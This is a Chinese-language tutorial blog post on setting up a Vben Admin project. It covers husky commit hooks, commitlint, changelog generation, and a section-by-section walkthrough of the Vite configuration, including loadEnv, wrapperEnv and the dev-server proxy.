vben將裡面的一個文件夾刪除了。\n修復YarnOnWindowsBug 官方參考連結\n在帶有Git Bash（stdin is not a tty）的Windows上使用Yarn時，Git掛鉤可能會失敗。如果您有Windows用戶，則強烈建議添加以下解決方法。\n創建.husky/common.sh： 1 2 3 4 5 6 7 8 command_exists () { command -v \u0026#34;$1\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 } # Workaround for Windows 10, Git Bash and Yarn if command_exists winpty \u0026amp;\u0026amp; test -t 1; then exec \u0026lt; /dev/tty fi 在使用Yarn運行命令的地方將其來源： 1 2 3 4 5 #!/bin/sh . \u0026#34;$(dirname \u0026#34;$0\u0026#34;)/_/husky.sh\u0026#34; . \u0026#34;$(dirname \u0026#34;$0\u0026#34;)/common.sh\u0026#34; yarn ... 這裡是yarn命令的地方要這樣用，其他地方要不要無所謂。第二步可以先不管。\n創建lint-staged的配置文件 lint:lint-staged package.json 1 2 3 \u0026#34;scripts\u0026#34;: { \u0026#34;lint:lint-staged\u0026#34;: \u0026#34;lint-staged -c ./.husky/lintstagedrc.js\u0026#34; } 作用：對Git暫存的文件進行lint檢查。\nlint:pretty package.json 1 2 3 \u0026#34;scripts\u0026#34;: { \u0026#34;lint:pretty\u0026#34;: \u0026#34;pretty-quick --staged\u0026#34; } 作用：對Git暫存文件進行pretty的操作。\ninstall:husky package.json 1 2 3 \u0026#34;scripts\u0026#34;: { \u0026#34;install:husky\u0026#34;: \u0026#34;is-ci || husky install\u0026#34; } 作用：如果不是CI服務器，就啟動Git鉤子。\npostinstall package.json 1 2 3 \u0026#34;scripts\u0026#34;: { \u0026#34;postinstall\u0026#34;: \u0026#34;npm run install:husky\u0026#34; } 作用：執行install:husky命令。這個命令會自動啟動Git鉤子，參考文檔。\n給husky添加任務 npx的Git首頁，有命令行說明 commitlint的命令行說明 1 2 3 4 5 6 7 8 9 10 # 啟動husky yarn install:husky # 添加commit消息檢查任務到`.husky/commit-msg`文件中 # 這裡我一直執行不出來，是引號引其的問題，大家可以先創建空的然後把命令複製進去 # npx husky add .husky/commit-msg \u0026#39;npx --no-install commitlint --edit \u0026#34;$1\u0026#34;\u0026#39; npx husky add .husky/commit-msg # 創建一個任務文件 npx husky add .husky/pre-commit 手動修改.husky/commit-msg文件：\n這裡面的$1一定要用雙引號，不然後面執行會報錯。\n.husky/commit-msg 1 2 3 4 #!/bin/sh . \u0026#34;$(dirname \u0026#34;$0\u0026#34;)/_/husky.sh\u0026#34; npx --no-install commitlint --edit \u0026#34;$1\u0026#34; 手動修改.husky/pre-commit文件：\n參考連結：\n在CI中禁用鉤子 在Windows上的Yarn 最後手動執行之前創建的腳本命令。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/sh . \u0026#34;$(dirname \u0026#34;$0\u0026#34;)/_/husky.sh\u0026#34; . \u0026#34;$(dirname \u0026#34;$0\u0026#34;)/common.sh\u0026#34; [ -n \u0026#34;$CI\u0026#34; ] \u0026amp;\u0026amp; exit 0 # Check the file name # ! ls-lint cannot be used normally in mac pro of M1 system. npm run lint:ls-lint # Format and submit code according to lintstagedrc.js configuration npm run lint:lint-staged npm run lint:pretty 測試 失敗測試 最好先重啟你的ide\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 git add . git commit -m \u0026#34;隨便打一些消息\u0026#34; \u0026gt; vben3@0.0.0 lint:ls-lint F:\\CodeLearn\\vben\\vben3 \u0026gt; ls-lint \u0026gt; vben3@0.0.0 lint:lint-staged F:\\CodeLearn\\vben\\vben3 \u0026gt; lint-staged -c ./.husky/lintstagedrc.js [STARTED] Preparing... # 一系列檢查... [SUCCESS] Cleaning up... \u0026gt; vben3@0.0.0 lint:pretty F:\\CodeLearn\\vben\\vben3 \u0026gt; pretty-quick --staged �🔍 Finding changed files since git revision 1346762. �🎯 Found 2 changed files. ✅ Everything is awesome! ⧗ input: 隨便打一些消息 ✖ subject may not be empty [subject-empty] ✖ type may not be empty [type-empty] ✖ found 2 problems, 0 warnings ⓘ Get help: https://github.com/conventional-changelog/commitlint/#what-is-commitlint husky - commit-msg hook exited with code 1 (error) 格式 出錯了，我們規範的提交消息試試：\n@commitlint/config-conventional的規範+我們自定義的規則。\ntype: some message\n類型英文 類型中文 build 建立 chore 雜事 ci ci docs 文檔 feat 壯舉 fix 修復 perf 敷衍 refactor 重構 revert 恢復 style 樣式 test 測試 成功測試 提交成功，當然你不用擔心這樣手敲太麻煩了，後面還有插件可以自動幫你敲這些格式。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 git commit -m \u0026#34;feat: 我們成功的規範了Git提交!\u0026#34; \u0026gt; vben3@0.0.0 lint:pretty F:\\CodeLearn\\vben\\vben3 \u0026gt; pretty-quick --staged �🔍 Finding changed files since git revision 1346762. �🎯 Found 2 changed files. ✅ Everything is awesome! [master 6c61fc5] feat: 我們成功的規範了Git提交! 7 files changed, 104 insertions(+), 4 deletions(-) create mode 100644 .husky/.gitignore create mode 100644 .husky/commit-msg create mode 100644 .husky/common.sh create mode 100644 .husky/lintstagedrc.js create mode 100644 .husky/pre-commit # 推送出去 git push -u origin master 使用conventional-changelog-cli生成變更記錄 說明 在VbenAdmin項目的腳本命令和根目錄中還有CHANGELOG.md這麼個文件，這是記錄我們項目變更記錄的MD。明顯不是手寫出來的，那麼怎麼生成？\n參考連結：\nconventional-changelog-cli的Git說明 conventional-changelog-cli的npm首頁 安裝 1 yarn add global conventional-changelog-cli --dev 配置腳本 package.json文件中的scripts字段。\npackage.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { // ... \u0026#34;log\u0026#34;: \u0026#34;conventional-changelog -p angular -i CHANGELOG.md -s\u0026#34;, // ... } 測試 1 yarn log 可以看見生成了CHANGELOG.md文件\n1 2 3 4 5 6 # 0.0.0 (2022-10-13) ### Features - 我们成功的规范了 Git 提交! ([6c61fc5](https://gitee.com/kuxiaoxin/vben3/commits/6c61fc5c0bc9d0ed551117eb00349ce82e35deea)) 命令列參數 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 \u0026gt; conventional-changelog --help Generate a changelog from git metadata Usage conventional-changelog Example conventional-changelog -i CHANGELOG.md --same-file Options -i, --infile Read the CHANGELOG from this file # 從這個文件中讀取CHANGELOG。 -o, --outfile Write the CHANGELOG to this file If unspecified, it prints to stdout # 將CHANGELOG寫入這個文件。 # 如果沒有指定，則打印到stdout。 -s, --same-file Outputting to the infile so you don\\\u0026#39;t need to specify the same file as outfile # 輸出到infile，所以你不需要指定與outfile相同的文件。 -p, --preset Name of the preset you want to use. Must be one of the following: angular, atom, codemirror, ember, eslint, express, jquery, jscs or jshint # 您要使用的預設名稱。必須是下列之一。 # angular, atom, codemirror, # ember, eslint, express, # jquery, jscs, jshint。 -k, --pkg A filepath of where your package.json is located Default is the closest package.json from cwd # 您的 package.json 所在的文件路徑。 # 默認為cwd中最接近的package.json。 -a, --append Should the newer release be appended to the older release Default: \\false # 是否應將較新的版本附加到較舊的版本上？ # 默認：不追加 -r, --release-count How many releases to be generated from the latest If 0, the whole changelog will be regenerated and the outfile will be overwritten Default: 1 # 將從最新的版本中生成多少個版本。 # 如果為0，整個變更日誌將被重新生成，並且輸出文件將被覆蓋。 # 默認值: 1 --skip-unstable If given, unstable tags will be skipped, e.g., x.x.x-alpha.1, x.x.x-rc.2 # 如果給定，將跳過不穩定的標籤，例如，x.x.x-alpha.1, x.x.x-rc.2。 -u, --output-unreleased Output unreleased changelog # 輸出未發布的變更日誌。 -v, --verbose Verbose output. Use this \\for debugging Default: \\false # Verbose 輸出。用來調試 # 默認：不輸出 -n, --config A filepath of your config script Example of a config script: https://github.com/conventional-changelog/conventional-changelog/blob/master/packages/conventional-changelog-cli/test/fixtures/config.js # 配置腳本的文件路徑。 # 配置腳本的例子： # https://github.com/conventional-changelog # /conventional-changelog/blob/master/packages # /conventional-changelog-cli/test/fixtures/config.js -c, --context A filepath of a json that is used to define template variables # 一個用於定義模板變量的json文件路徑。 -l, --lerna-package Generate a changelog \\for a specific lerna package (:pkg-name@1.0.0) # 為一個特定的lerna包生成一個變更日誌(:pkg-name@1.0.0) -t, --tag-prefix Tag prefix to consider when reading the tags # 讀取標籤時要考慮的標籤前綴。 --commit-path Generate a changelog scoped to a specific directory # 生成一個特定目錄下的變更日誌。 配置Vite 說明 本章只是準備，大家可以直接把VbenAdmin的vite.config.ts原代碼複製到我們的項目中。然後把報錯的地方註釋掉。接下來的章節會把這個文件一段一段的解析出來。章節做太長了大家應該也不喜歡看，至少我不喜歡看長文章。\n代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 import type { UserConfig, ConfigEnv } from \u0026#39;vite\u0026#39;; import { loadEnv } from \u0026#39;vite\u0026#39;; import { resolve } from \u0026#39;path\u0026#39;; // import { generateModifyVars } from \u0026#39;./build/config/themeConfig\u0026#39;; // import { createProxy } from \u0026#39;./build/vite/proxy\u0026#39;; // import { wrapperEnv } from \u0026#39;./build/utils\u0026#39;; // import { createVitePlugins } from \u0026#39;./build/vite/plugin\u0026#39;; // import { OUTPUT_DIR } from \u0026#39;./build/constant\u0026#39;; function pathResolve(dir: string) { return resolve(__dirname, \u0026#39;.\u0026#39;, dir); } export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { const root = process.cwd() const env = loadEnv(mode, root) // The boolean type read by loadEnv is a string. This function can be converted to boolean type // const viteEnv = wrapperEnv(env); // const { VITE_PORT, VITE_PUBLIC_PATH, VITE_PROXY, VITE_DROP_CONSOLE, VITE_LEGACY } = viteEnv; // const isBuild = command === \u0026#39;build\u0026#39;; return { // base: VITE_PUBLIC_PATH, root, resolve: { alias: [ { // /@/xxxx =\u0026gt; src/xxx find: /^\\/@\\//, replacement: pathResolve(\u0026#39;src\u0026#39;) + \u0026#39;/\u0026#39; }, { // /#/xxxx =\u0026gt; types/xxx find: /^\\/#\\//, replacement: pathResolve(\u0026#39;types\u0026#39;) + \u0026#39;/\u0026#39; } ] }, server: { // port: VITE_PORT, // Load proxy configuration from .env // proxy: createProxy(VITE_PROXY), hmr: { overlay: true } }, build: { // minify: \u0026#39;esbuild\u0026#39;, // outDir: OUTPUT_DIR, // polyfillDynamicImport: VITE_LEGACY, terserOptions: { compress: { keep_infinity: true, // Used to delete console in production environment // drop_console: VITE_DROP_CONSOLE, }, }, // Turning off brotliSize display can slightly reduce packaging time brotliSize: false, chunkSizeWarningLimit: 1200 }, define: { // setting vue-i18-next // Suppress warning __VUE_I18N_LEGACY_API__: false, __VUE_I18N_FULL_INSTALL__: false, __INTLIFY_PROD_DEVTOOLS__: false }, css: { preprocessorOptions: { less: { modifyVars: { // Used for global import to avoid the need to import each style file separately // reference: Avoid repeated references hack: `true; @import (reference) \u0026#34;${resolve(\u0026#39;src/design/config.less\u0026#39;)}\u0026#34;;` // ...generateModifyVars(), }, javascriptEnabled: true } } }, // The vite plugin used by the project. The quantity is large, so it is separately extracted and managed // plugins: createVitePlugins(viteEnv, isBuild), optimizeDeps: { // @iconify/iconify: The dependency is dynamically and virtually loaded by @purge-icons/generated, so it needs to be specified explicitly include: [ \u0026#39;@iconify/iconify\u0026#39;, \u0026#39;ant-design-vue/es/locale/zh_CN\u0026#39;, \u0026#39;moment/dist/locale/zh-cn\u0026#39;, \u0026#39;ant-design-vue/es/locale/en_US\u0026#39;, \u0026#39;moment/dist/locale/eu\u0026#39;, ], exclude: [\u0026#39;vue-demi\u0026#39;] } } } Node的path.resolve方法 說明 psth.resolve([...paths])方法是NodeApi中path模塊的方法。\n參考連結 Node中文API path.resolve([\u0026hellip;paths])方法 path.resolve([\u0026hellip;path])方法在線運行 psth.resolve([\u0026hellip;pth])較通俗的理解 VbenAdmin原代碼 1 2 3 4 5 import { resolve } from \u0026#39;path\u0026#39; function pathResolve(dir: string) { return resolve(__dirname, \u0026#39;.\u0026#39;, dir) } 代碼在項目中報錯 此時引入項目會報錯：找不到 path。\n因為我們沒有安裝node的聲明文件，ts裡面沒有。\n1 yarn add @types/node --dev 這個開發依賴在原VbenAdmin項目中沒有，是因為其他依賴中有這個依賴。\n但是我們現在還沒有安裝包含@types/node的依賴。\n剩下的依賴裡面有很多這樣的依賴，我們也不去猜是哪個依賴了。\n反正是一個開發依賴，我們直接自己手動安裝了。\nresolve方法 該方法百度上有兩種說法：\n從後向前，生成絕對路徑。 若字符以 / 開頭，不會拼接到前面的路徑（因為拼接到此已經是一個絕對路徑）。 若以 ../ 開頭，拼接前面的路徑，且不含最後一節路徑。 若以 ./ 開頭 或者沒有符號 則拼接前面路徑。 需要注意的是：如果在處理完所有給定的 path 片段之後還未生成絕對路徑，則再加上當前工作目錄。 每一個參數都理解為一個cd命令。最終cd到哪個路徑。返回該絕對路徑。 __dirname NodeApi的__dirname：當前模塊目錄名。\nNodeApi文檔-__dirname說明 __dirname在線運行 在線運行 1 2 3 4 5 6 const path = require(\u0026#39;path\u0026#39;) console.log(__dirname) console.log(path.resolve(__dirname, \u0026#39;.\u0026#39;, \u0026#39;src\u0026#39;)) // /tmp/B3YQQ1 // /tmp/B3YQQ1/src Vite的情景配置 說明 本章收集了一些Vite如何根據不同環境進行不同配置的資料。\n參考連結 Vite的中文首頁 Vite的英文首頁 Vite的情景配置說明 代碼 總之不管使用什麼方式配置Vite，最後返回的就只是一個對象。對像中包含Vite配置的細節。\n1 2 3 4 5 6 7 8 9 10 11 export default ({ command, mode }) =\u0026gt; { if (command === \u0026#34;serve\u0026#34;) { return { // serve 獨有配置 } } else { return { // build 獨有配置 } } } 參數說明 vite目前只有vite、vite build、vite preview這三種命令。以下是這三種命令的command和mode的值。\nvite command：serve mode：development vite build command：build mode：production vite preview command：serve mode：development Node的process 說明 返回 Node.js 進程的當前工作目錄。\n參考連結 Node中文文檔-process Node中文文檔-process.cwd()方法 在線運行process.cwd() 代碼 1 process.cwd() Vite的loadEnv方法 說明 檢查process.cwd()路徑下.env.development.local、.env.development、.env.local、.env這四個環境文件。 輸出NODE_ENV和VITE_開頭的鍵值對。 VITE_開頭的鍵值對後面的不會覆蓋前面的。 NODE_ENV的值後面的會覆蓋前面的。 參考連結 NodeApi中文文檔-process NodeApi中文文檔-process-env說明 NodeApi中文文檔-path NodeApi中文文檔-path.join()方法 NodeApi中文文檔-path.dirname()方法 NodeApi中文文檔-fs NodeApi中文文檔-fs.existsSync()方法 NodeApi中文文檔-fs.statSync()方法 NodeApi中文文檔-fs.readFileSync()方法 Node-process-env在線運行 Linux手冊頁-environ(7) Vite項目下.env系列文件命名的意義-中文文檔 Vite項目下.env系列文件命名的意義-英文文檔 原始碼 前置代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // ↓ 加載node的path模塊 var path$1 = require(\u0026#39;path\u0026#39;); var fs$2 = require(\u0026#39;fs\u0026#39;); // ↓ 傳入的如果是一個包含\u0026#39;default\u0026#39;的key的對象，則輸出對象的\u0026#39;default\u0026#39;的key對應的value。 function _interopDefaultLegacy (e) { return e \u0026amp;\u0026amp; typeof e === \u0026#39;object\u0026#39; \u0026amp;\u0026amp; \u0026#39;default\u0026#39; in e ? e[\u0026#39;default\u0026#39;] : e; } // ↓ 結合上面二者 var path__default = /*#__PURE__*/_interopDefaultLegacy(path$1); var fs__default = /*#__PURE__*/_interopDefaultLegacy(fs$2); // ↓ 檢查dir下是否有formats中的路徑，返回有就返迴路徑或者文件 function lookupFile(dir, formats, pathOnly = false) { for (const format of formats) { // ↓ 輸出dir和formats連接後的路徑 const fullPath = path__default.join(dir, format); // ↓ 同步的檢查該路徑是否存在，並且該路徑對應的是一個文件 if (fs__default.existsSync(fullPath) \u0026amp;\u0026amp; fs__default.statSync(fullPath).isFile()) { // ↓ 是否只要輸出路徑，否則輸出文件 return pathOnly ? fullPath : fs__default.readFileSync(fullPath, \u0026#39;utf-8\u0026#39;); } } // ↓ 上面的路徑都不滿足輸出條件，那麼再檢查一遍檢查傳入的dir的目錄名 const parentDir = path__default.dirname(dir); if (parentDir !== dir) { return lookupFile(parentDir, formats, pathOnly); } } 代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 // 從傳參的root目錄下獲取 // 按順序 .env.${mode}.local、.env.${mode}、.env.local、.env這四個環境文件 // 輸出文件內配置的對象 function loadEnv(mode, root, prefix = \u0026#39;VITE_\u0026#39;) { if (mode === \u0026#39;local\u0026#39;) { // ↓ 如果第一個參數傳入\u0026#39;local\u0026#39;，就報錯： // ↓ \u0026#34;local \u0026#34;不能用作模式名稱，因為它與``.env文件的.local後綴衝突。 throw new Error(`\u0026#34;local\u0026#34; cannot be used as a mode name because it conflicts with ` + `the .local postfix for .env files.`); } // ↓ 待輸出的環境變量對象 const env = {}; // ↓ 要讀取的四個文件名稱的字符串數組 const envFiles = [ /** mode local file */ `.env.${mode}.local`, /** mode file */ `.env.${mode}`, /** local file */ `.env.local`, /** default file */ `.env` ]; // ↓ 檢查是否有實際的以VITE_*開頭的環境變量。 // ↓ 這些通常是Node內聯提供的env對象，並應優先考慮。 for (const key in process.env) { if (key.startsWith(prefix) \u0026amp;\u0026amp; env[key] === undefined) { env[key] = process.env[key]; } } for (const file of envFiles) { // ↓ 檢查根目錄下是否有指定配置文件 const path = lookupFile(root, [file], true); if (path) { // ↓ 以換行為單位輸出文件中KEY=VAL格式的到結果對像中 const parsed = main$2.parse(fs__default.readFileSync(path), { debug: !!process.env.DEBUG || undefined }); // ↓ 讓環境變量互相使用，這個方法我沒仔細研究。不是很懂 main$1({ parsed, // ↓ 防止process.env修改 ignoreProcessEnv: true }); // ↓ 只輸出以prefix開頭的key for (const [key, value] of Object.entries(parsed)) { // ↓ 只有這個key在前面沒有加載過才賦值 if (key.startsWith(prefix) \u0026amp;\u0026amp; env[key] === undefined) { env[key] = value; } else if (key === \u0026#39;NODE_ENV\u0026#39;) { // ↓ 在.env文件中覆蓋NODE_ENV。 process.env.VITE_USER_NODE_ENV = value; } } } } return env; } Vben中的wrapperEnv方法 說明 1 2 // The boolean type read by loadEnv is a string. This function can be converted to boolean type const viteEnv = wrapperEnv(env); 翻譯如下：\nloadEnv讀取的布爾類型是一個字符串。該函數可以轉換為布爾類型。\n創建wrapperEnv方法 從這開始涉及到根目錄下的build文件夾了。創建該文件夾。我們使用build文件夾裝所有關於項目構建類的東西。\n創建定義文件 根目錄下的build文件夾創建typeing.d.ts文件。\ntypeing.d.ts 1 2 3 4 5 6 declare module \u0026#39;*.json\u0026#39; { const src: any; export default src; } declare type Recordable = Record\u0026lt;string, any\u0026gt;; 參考連結 TS通用模塊聲明 TS的高級類型Record 允許導入Json這段代碼，寫在哪都行。 TS都會加載到。 定義Env對像類型 根目錄下的build文件夾創建utils.ts文件。\nutils.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 export interface ViteEnv { VITE_PORT: number VITE_USE_MOCK: boolean VITE_USE_PWA: boolean VITE_PUBLIC_PATH: string VITE_PROXY: [string, string][] VITE_GLOB_APP_TITLE: string VITE_GLOB_APP_SHORT_NAME: string VITE_USE_CDN: boolean VITE_DROP_CONSOLE: boolean VITE_BUILD_COMPRESS: \u0026#39;gzip\u0026#39; | \u0026#39;brotli\u0026#39; | \u0026#39;none\u0026#39; VITE_LEGACY: boolean VITE_USE_IMAGEMIN: boolean } 導出的這個類型對應了我們配置文件中的Key。\n格式化Env對象的wrapperEnv方法 在utils.ts文件中添加以下方法：\nutils.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 export function wrapperEnv(envConf: Recordable): ViteEnv { const ret: any = {}; for (const envName of Object.keys(envConf)) { let realName = envConf[envName].replace(/\\\\n/g, \u0026#39;\\n\u0026#39;); realName = realName === \u0026#39;true\u0026#39; ? true : realName === \u0026#39;false\u0026#39; ? false : realName; if (envName === \u0026#39;VITE_PORT\u0026#39;) { realName = Number(realName); } if (envName === \u0026#39;VITE_PROXY\u0026#39;) { try { realName = JSON.parse(realName); } catch (error) {} } ret[envName] = realName; process.env[envName] = realName; } return ret; } 代碼說明： 中間的正則替換就是將\\\\n替換成\\n，複製下面這些代碼可以去瀏覽器中體驗一下。 console.log('asda\\\\\\n\\\\n\\n'.replace(/\\n/g, '\\n')) =\u0026gt; asda\\ [回車\\n] \\n [回車\\n] console.log('asda\\\\\\n\\\\n\\n'.replace(/\\\\n/g, '\\n')) =\u0026gt; asda\\ [回車\\n] [回車\\n] [回車\\n] console.log('asda\\\\\\n\\\\n\\n'.replace(/\\\\\\n/g, '\\n')) =\u0026gt; asda [回車\\n] \\n [回車\\n] vite.config.ts文件復盤 自此vite.config.ts，除return裡面的東西外，其他的都已經解析完了。以現在可以得到這樣一個代碼：\nvite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import { resolve } from \u0026#39;path\u0026#39;; import { ConfigEnv, loadEnv, UserConfig } from \u0026#39;vite\u0026#39;; import { wrapperEnv } from \u0026#39;./build/util\u0026#39;; function pathResolve(dir: string) { return resolve(__dirname, \u0026#39;.\u0026#39;, dir); } export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { const root = process.cwd(); const env = loadEnv(mode, root); const viteEnv = wrapperEnv(env); const { VITE_PORT, VITE_PUBLIC_PATH, VITE_PROXY, VITE_DROP_CONSOLE, VITE_LEGACY } = viteEnv; const isBuild = command === \u0026#39;build\u0026#39;; return {}; }; Vite配置-base 說明 Vite配置-base說明\n官網原文：\n類型： string 默認： / 開發或生產環境服務的 公共基礎路徑。合法的值包括以下幾種：\n絕對 URL 路徑名，例如 /foo/ 完整的 URL，例如 https://foo.com/ 空字符串或 ./（用於開發環境） 更多信息詳見公共基礎路徑。\n就是你的項目的BaseURL。比如這裡我配置一個yiu\n那麼我的項目訪問：http://localhost:3000/yiu/\n當你訪問其他路徑就會報錯：http://localhost:3000/any/\n1 The server is configured with a public base URL of /yiu/ - did you mean to visit /yiu/any/ instead? Vite配置-root 說明 Vite配置-root說明\n官網原文：\n類型： string 默認： process.cwd() 項目根目錄（index.html 文件所在的位置）。可以是一個絕對路徑，或者一個相對於該配置文件本身的路徑。\n更多信息詳見項目根目錄。\n用來找index.html路徑的配置吧，亂寫啟動項目的時候會報錯。其他的也不用解釋了。\nVite配置-resolve.alias 說明 Vite配置-resolve.alias說明\n官網原文：\n類型： 1 Record\u0026lt;string, string\u0026gt; | Array\u0026lt;{ find: string | RegExp, replacement: string }\u0026gt; 將會被傳遞到 @rollup/plugin-alias 作為它的 entries。也可以是一個對象，或一個 { find, replacement } 的數組。\n當使用文件系統路徑的別名時，請始終使用絕對路徑。相對路徑作別名值將按原樣使用導致不會解析到文件系統路徑中。\n更高級的自定義解析方法可以通過 插件 實現。\nVbenAdmin的示例： vite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 resolve: { alias: [ { // /@/xxxx =\u0026gt; src/xxx find: /^\\/@\\//, replacement: pathResolve(\u0026#39;src\u0026#39;) + \u0026#39;/\u0026#39;, }, { // /#/xxxx =\u0026gt; types/xxx find: /^\\/#\\//, replacement: pathResolve(\u0026#39;types\u0026#39;) + \u0026#39;/\u0026#39;, }, ], }, Vite配置-server.port 說明 Vite配置-server.port說明\n官網原文：\n類型： number 指定服務器端口。注意：如果端口已經被使用，Vite 會自動嘗試下一個可用的端口，所以這可能不是服務器最終監聽的實際端口。\nVite配置-server.proxy 說明 Vite配置-server.proxy說明 Vite內置的代理插件http-proxy的Git首頁 http-proxy的配置項 官網原文：\n類型： 1 Record\u0026lt;string, string | ProxyOptions\u0026gt; 為開發服務器配置自定義代理規則。期望接收一個 { key: options } 對象。如果 key 值以 ^ 開頭，將會被解釋為 RegExp。\n使用 http-proxy。完整選項詳見 此處。\n示例： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 export default { server: { proxy: { // 字符串簡寫寫法 \u0026#39;/foo\u0026#39;: \u0026#39;http://localhost:4567/foo\u0026#39;, // 選項寫法 \u0026#39;/api\u0026#39;: { target: \u0026#39;http://jsonplaceholder.typicode.com\u0026#39;, changeOrigin: true, rewrite: (path) =\u0026gt; path.replace(/^\\/api/, \u0026#39;\u0026#39;) }, // 正則表達式寫法 \u0026#39;^/fallback/.*\u0026#39;: { target: \u0026#39;http://jsonplaceholder.typicode.com\u0026#39;, changeOrigin: true, rewrite: (path) =\u0026gt; path.replace(/^\\/fallback/, \u0026#39;\u0026#39;) } } } } VbenAdmin代碼解析 我們在build文件夾下創建一個vite文件，這麼放置所有和vite配置有關的文件。然後完成本章兩個文件的編寫。\nproxy.ts build\\vite\\proxy.ts，注意，這裡帶註解的代碼和原代碼不一樣。因為原代碼我感覺有點問題。\nVite官方文檔說代理配置接收的是一個Record\u0026lt;string, string | ProxyOptions\u0026gt;對象。而這個文件的主要方法返回的是ProxyTargetList類型的對象。\n按理來說ProxyTargetList應該直接等於Record\u0026lt;string, string | ProxyOptions\u0026gt;。\n但是VbenAmin的代碼安裝了一個@types/http-proxy（雖然Vite本身的代理就是用http-proxy實現的）的開發依賴。然後從這個開發依賴裡面導入一個ServerOptions。讓ProxyTargetList等於Record\u0026lt;string, ServerOptions \u0026amp; { rewrite: (path: string) =\u0026gt; string }\u0026gt;。\n個人感覺可以直接使用vite提供的類型即可，不用安裝@types/http-proxy的聲明文件。\n代碼 被代理之後，訪問的路徑是 代理至的路徑 + 訪問的路徑去掉根路徑後經過rewrite處理的路徑。\nbuild/vite/proxy.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 /** * .env.development 的 代理配置 */ import type { ProxyOptions } from \u0026#39;vite\u0026#39;; // ↓ 第一项被代理的路径，第二项代理至的路径 type ProxyItem = [string, string]; // ↓ 方法接收的参数 type ProxyList = ProxyItem[]; // ↓ Vite代理所接收对象类型 type ProxyTargetList = Record\u0026lt;string, string | ProxyOptions\u0026gt;; // ↓ https类型的URL的匹配正则 const httpsRE = /^https:\\/\\//; /** * 生成Vite代理配置的方法 */ export function createProxy(list: ProxyList = []) { const ret: ProxyTargetList = {}; for (const [prefix, target] of list) { const isHttps = httpsRE.test(target); // https://github.com/http-party/node-http-proxy#options ret[prefix] = { // ↓ 代理至的路径 target: target, // ↓ 默认值：false-将主机标头的来源更改为目标URL changeOrigin: true, // ↓ 如果您想代理websocket ws: true, rewrite: (path) =\u0026gt; path.replace(new RegExp(`^${prefix}`), \u0026#39;\u0026#39;), // https is require secure=false ...(isHttps ? { secure: false } : {}), }; } return ret; } vite.config.ts 直接將上面定義的生成代理配置的方法放到vite.config.ts中使用。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // ... import { createProxy } from \u0026#39;./build/vite/proxy\u0026#39;; // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... server: { // ... // 從.env加載代理配置 proxy: createProxy(VITE_PROXY), }, // ... }; }; Vite配置-server.hmr 說明 Vite配置-server.hmr說明\n官網原文：\n類型： 1 boolean | { protocol?: string, host?: string, port?: number, path?: string, timeout?: number, overlay?: boolean } 禁用或配置 HMR 連接（用於 HMR websocket 必須使用不同的 http 服務器地址的情況）。\n設置 server.hmr.overlay 為 false 可以禁用服務器錯誤遮罩層。\n這個就是配置Vite的熱更新的。文檔中說的服務器錯誤遮罩層，就是你在代碼中編寫編寫錯誤的代碼，編譯不通過的時候，瀏覽器頁面也會同時展示一個灰屏上面顯示你的代碼錯誤。\nVite配置-build.minify 說明 Vite配置-build.minify說明\n官網原文：\n類型： 1 boolean | \u0026#39;terser\u0026#39; | \u0026#39;esbuild\u0026#39; 默認：terser 設置為 false 可以禁用最小化混淆，或是用來指定使用哪種混淆器。默認為 Terser，雖然 Terser 相對較慢，但大多數情況下構建後的文件體積更小。 ESbuild 最小化混淆更快但構建後的文件相對更大。\nVite配置-build.outDir 說明 Vite配置-build.outDir說明\n官網原文：\n類型：string 默認：dist 指定輸出路徑（相對於 項目根目錄)。\n創建全局常數 這個輸出路徑我們把它寫成一個全局常量。全局常量保存在：build\\constant.ts\nbuild\\constant.ts 1 2 3 4 5 6 /** * 在生产环境中输入的配置文件名称。 */ export const GLOB_CONFIG_FILE_NAME = \u0026#39;_app.config.js\u0026#39;; export const OUTPUT_DIR = \u0026#39;dist\u0026#39;; 然後在vite.config.ts中引用：\nvite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // ... import { OUTPUT_DIR } from \u0026#39;./build/constant\u0026#39;; // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... build: { outDir: OUTPUT_DIR, }, // ... }; }; Vite配置-build.polyfillDynamicImport 說明 Vite配置-build.polyfillDynamicImport說明 擁抱Vite2.0 系列（二） - 知乎 官網原文：\n類型：boolean 默認：true，除非build.target是esnext。 